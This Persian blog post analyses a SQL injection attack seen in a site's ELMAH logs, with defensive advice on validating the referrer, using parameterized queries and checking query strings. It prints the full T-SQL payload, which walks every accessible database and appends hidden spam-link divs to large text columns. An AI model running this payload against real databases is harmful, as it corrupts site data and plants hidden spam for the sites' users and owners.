نمونهای از کد اس کیوال جهت درج تبلیغات مخفی شدهی در رکوردهای سایت
مدتی هست در لاگهای ELMAH سایت، یک چنین تزریقهای اس کیوال ناموفقی مشاهده میشوند:
اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی (“div style=”display:none) که داخل آنها تبلیغات یک سری سایتهای کذایی وجود دارند، اضافه شدهاند، حتما مورد حملهی SQL Injection فوق واقع شدهاید.
مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آنرا به عنوان پارامتر سازندهی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف میشود:
ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره میکنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئریهای غیرپارامتری و یا از ORMها استفاده نمیکنید.
ج) آیا به محتوای دریافت شدهی از طریق کوئری استرینگها دقت دارید؟
این مورد نیز همانند حالت ب است.
بررسی ساختار این حمله
کوئری ارسالی (البته با حذف آدرس سایتهای کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR;
DECLARE @s AS VARCHAR (8000);
DECLARE @w AS VARCHAR (99);
SET @b = CURSOR
FOR SELECT DB_NAME()
UNION
SELECT name
FROM sys.databases
WHERE (has_dbaccess(name) != 0)
AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());
OPEN @b;
FETCH NEXT FROM @b INTO @w;
WHILE @@FETCH_STATUS = 0
BEGIN
SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>''''
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
EXECUTE (@s);
FETCH NEXT FROM @b INTO @w;
END
CLOSE @b;
در اینجا ابتدا لیست بانکهای اطلاعاتی موجود دریافت میشوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، میکند. از try/catch هم به این دلیل استفاده کردهاست که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده میکنید که … هم اکنون تمام بانکهای اطلاعاتی شما آلوده شدهاند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آنها درج میکند.